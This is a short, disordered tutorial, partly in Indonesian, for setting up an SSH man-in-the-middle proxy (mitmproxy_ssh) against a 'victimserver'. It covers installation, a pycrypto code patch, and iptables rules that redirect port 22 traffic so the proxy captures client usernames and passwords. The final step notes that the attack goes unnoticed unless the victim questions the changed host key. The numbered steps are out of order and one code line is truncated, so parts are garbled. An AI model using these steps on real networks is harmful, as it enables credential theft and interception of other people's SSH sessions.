#Install SSH key
ssh-copy-id -i ~/.mitmkeys/id_rsa.pub user@victimserver

Jalankan proxy

Then run the proxy, pointing it at the victimserver.

./mitmproxy_ssh -H victimserver

This runs the proxy on localhost:2222

Now simply connect to the local proxy:

ssh localhost -p 2222

And ta-da! You should see the raw data sent between client and server in the window you ran mitmproxy_ssh.





Diagram

client --> mitmproxy --> ssh server

- target server ip: 192.168.202.124


Instalasi

$ sudo pip install twisted
$ sudo  apt-get install python-service-identity
$ pip install pycrypto


Download

$ git clone https://github.com/saironiq/mitmproxy.git

3- if you can not run mitmreplay_ssh, it might be there is changing structure of pycrypto of the version you install, so - modify file mitmproxy/mitmproxy/sshdebug.py

 -- line 655 modify it to below

mpints.append(cnumber.bytes_to_long(

 -- line 11 add the following line

from Crypto.Util import number as cnumber

4- generate keys $ cd mitmproxy $ sudo ./mitmproxy

update firewall

5- update ip_forward rule and nat

$ sudo sysctl -w net.ipv4.ip_forward=1
$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

6- run the mitmproxy_ssh and point to target server 192.168.202.124 $ sudo ./mitmproxy_ssh -H 192.168.202.124 -s

7- now when our client login to ssh server, if they the don't suspect the new key from server, it is very transparent to client

- snapshot of username and password on our mitmproxy pc when client ssh to server 192.168.202.124
